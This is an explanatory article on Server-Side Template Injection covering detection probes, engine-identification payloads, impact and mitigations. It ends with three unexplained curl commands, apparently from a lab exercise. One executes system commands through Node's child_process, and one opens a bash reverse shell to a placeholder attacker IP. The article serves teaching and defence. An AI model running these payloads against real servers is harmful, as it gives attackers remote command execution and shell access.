Server-Side Template Injection (SSTI) is a vulnerability that occurs when an application embeds unvalidated user input directly into a server-side template engine, allowing the input to be evaluated as code rather than plain text.

How SSTI Works

Template engines (like Jinja2, Twig, Handlebars, or EJS) combine static template files with dynamic data to render HTML pages.

If developer code concatenates user input directly into the template string instead of passing it as a data parameter, the engine interprets user-supplied syntax as executable template directives.

  • Safe approach: Passing user input as a variable into the template context.

  • Vulnerable approach: Dynamically constructing the template string using string concatenation with untrusted input.

Detection & Identification

Security researchers test for SSTI by submitting mathematical expressions enclosed in common template syntax (e.g., ${7*7} or {{7*7}}). If the rendered output displays 49 instead of the literal input string, the template engine is actively processing expressions.

Different template engines use distinct syntax, which helps identify the underlying technology:

Template EngineLanguageTypical Polyglot Payload
Jinja2 / TwigPython / PHP{{7*'7'}}
Pug / JadeJavaScript#{7*7}
ERBRuby<%= 7*7 %>
FreeMarkerJava${7*7}

Impact

Because template engines operate on the server with access to internal language constructs and modules, SSTI frequently leads to high-severity outcomes:

  • Remote Code Execution (RCE): Traversing object prototypes or built-in functions to execute system commands.

  • Sensitive Data Exposure: Reading local files, environment variables, or configuration secrets.

  • Privilege Escalation: Accessing restricted administrative functions or internal service tokens.

Mitigation Strategies

  1. Keep Templates Static: Never concatenate user input directly into template strings. Treat user data exclusively as variables passed into the rendering context.

  2. Context-Aware Encoding: Ensure data rendered within HTML contexts is sanitized according to where it appears.

  3. Sandboxing: Run template engines inside restricted sandbox environments with file system and system-command access explicitly disabled.

curl -s -b cookies.txt --data-urlencode 'template=<%=7*7%>' http://<Target_ip>
curl -s -b cookies.txt --data-urlencode 'template=<%=global.process.mainModule.require("child_process").execSync("id").toString() %>>' http://<Target_ip>
curl -s -b cookies.txt --data-urlencode "template=<%= global.process.mainModule.require('child_process').exec(\"bash -c 'bash -i >& /dev/tcp/<YOUR_ATTACKER_IP>/4444 0>&1'\") %>" http://<Target_ip>/staff/preview